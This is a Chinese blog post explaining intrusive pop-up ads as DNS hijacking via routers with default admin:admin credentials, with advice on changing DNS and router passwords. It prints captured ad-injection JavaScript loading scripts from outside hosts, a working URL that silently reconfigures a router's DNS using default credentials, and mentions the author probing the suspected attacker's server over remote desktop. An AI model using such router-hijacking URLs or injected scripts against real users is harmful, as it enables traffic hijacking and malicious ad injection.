甩不掉的弹窗广告

前段时间发现我的电脑在访问一些不知名的网站时(不是指那种垃圾网站)会莫名其妙的弹出一些广告。如果浏览器没有做拦截的话,这些广告在浏览器中以新窗口的形式打开,就是那种单页整幅的广告,而且一次会弹出5、6个。如果做了拦截,在google浏览器上的表现是,弹窗被拦截,但是整个网页覆盖了一成透明的薄膜(就是一个全屏的div),点击网页的任何地方,都会弹出广告。

这个弹窗的原理很简单,其实就是我们在访问目标网站时,网站返回了恶意代码,这些恶意代码被执行就出现了弹窗。这是我在一个弹窗页抓取到的恶意代码。

var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com","search.cn.yahoo.com","www.soso.com","so.360.cn","zhidao.baidu.com","seek.3721.com");
if (p>0)
{
document.writeln("<script type=\"text\/javascript\">");
document.writeln(" u_a_client=\"14911\";");
document.writeln(" u_a_width=\"0\";");
document.writeln(" u_a_height=\"0\";");
document.writeln(" u_a_zones=\"45930\";");
document.writeln(" u_a_type=\"1\"");
document.writeln("<\/script>");
document.writeln("<script src=\"http:\/\/e4.6dad.com\/i.js\"><\/script>");
document.writeln("<script src=\'http:\/\/js.kk7kk.com\/i.php?z=14921\'><\/script>");
}
getElementsByClassName = function (sClassName,oParentNode){
var allNodes =(oParentNode ? oParentNode : document).getElementsByTagName('*');

var aElements = [];
for(var i=0;i<allNodes.length;i++){
var arrClass = allNodes[i].className.split(" ");
for(var a=0; a<arrClass.length;a++){
if(arrClass[a]==sClassName){
aElements.push(allNodes[i]);
break;
}
}
}
return aElements;
}
var moveul='<ul class="oright">'+getElementsByClassName('oright')[0].innerHTML+'</ul>'
getElementsByClassName('oright')[0].innerHTML='';
document.getElementById('body_right').innerHTML=document.getElementById('body_right').innerHTML+moveul;

当然浏览器插件什么的也有可能导致类似的问题。但问题是,当我们访问一些正规的网站为什么也会有弹窗,这些网站总不会都被黑了吧。当我查看网站源代码时发现,这些广告都来之同几个广告联盟,而且都是那种不知名的,广告内容页来来回回的就那几个。显然这些广告并不是来自目标网站,那是从哪里来的?其实我的第一反应是我的电脑中毒了,当时我就进行的全盘扫描,还有什么广告拦截,也换过杀毒软件,都没有查出来。网上我查了,发现一堆类似的问题,有人甚至怀疑手机中了毒,感染了电脑,刷了手机,重装了系统,回头再看,丫的还是有弹窗广告,直接无语了。

这些恶意代码既然不来自本机,也不是目标网站,那到底哪来的?这时候我想起一种可能,那就是来自网络运营商。几年前曾爆出中国电信进行ADSL广告推送非法盈利,这种弹窗广告是无法拦截的。当你访问目标网站的时候一定会通过运营商的服务器,运营商其实就是一个中间人的角色,你把请求给这个”中间人“,它在转发给目标网站,目标网站将数据返回”中间人“,然后在转发给你。在拿到目标网站返回的数据时,这个”中间人“完全可以加点什么在转给你。现在应该晓得为什么没有中毒还有弹窗广告了吧。

当然现在的运营商不会那么猖狂了。扮演这个中间人其实是DNS。简单说就是你默认的DNS服务器被黑客篡改了。这里普及一基本的网络知识。通常我们上网需要设置3个网络参数。

  1. IP地址(还有子网掩码)
  2. 网关
  3. DNS服务器

IP地址这个不用解释。通常大家都用路由器上网,网关就是局域网的出口,一般都是路由器的地址,比如192.168.1.1。DNS这个是域名解析服务器,只要大家想通过www.xxx.com的方式访问一个服务器的话,都会用到DNS。

 

要知道现在自己的DNS是什么很简单,一条命令就搞定。打开运行(Win +R),输出cmd回车,打开“命令提示符”。输入命令 ipconfig /all


所有的网络设置都显示出来了。注意DNS服务器,DNS有主备两个。以我的为例。

主DNS是202.102.152.3

备DNS是8.8.8.8

大家可以在一些网站得到验证。比如http://ip.chinaz.com/



 

像这种DNS就是被篡改的,这个就是黑客的服务器。


我还扫了一下,3389端口开着呢,远程桌面一连,win2003有不有。

 

解决方法

修改DNS服务器

如果是路由器的话,登录路由,找DHCP服务


如果不是自己的路由不知道密码,从自己的计算机上改也是可以的。方法:

找到这页面


将“自动获取DNS服务器地址”改成“使用下面的DNS服务器地址”。大家可以自己百度一下适合自己的DNS服务器。比如搜索“济南 联通 DNS服务器”等等。如果懒得话,可以用下面的两个。很好记

一个是8.8.8.8 ,这个是google的DNS

一个是114.114.114.114 ,这个是江苏南京的一个DNS

首选DNS是必填的,备用DNS可以不填,但建议填上。

 

但在这里有必要说一下,为什么我的DNS会被窜改。如果你的路由器的地址是192.168.1.1。用户名是admin、密码是admin 那就没什么好奇怪的了。你的安全意识太弱了。

这里可以模拟一下情景:

首先是你访问了一个挂马的网站,网页脚本有类似的一句http://admin:admin@192.168.1.1

访问这个地址会怎样,直接登录到路由有没有,根本不需要登录,甚至黑客都没连接到你路由器上。然后再修改了你的DNS(至于修改DNS的具体细节我也不清楚)。而且电脑上的DNS是选择自动获取,也就是路由上的DNS,这样就出现文章开头描述的情况了。下面是我最近找的一个代码示例,点击之后就改了你的DNS

http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=114.114.114.114&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

所以建议大家在修改完DNS之后,把路由器的用户名密码以及地址都改了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值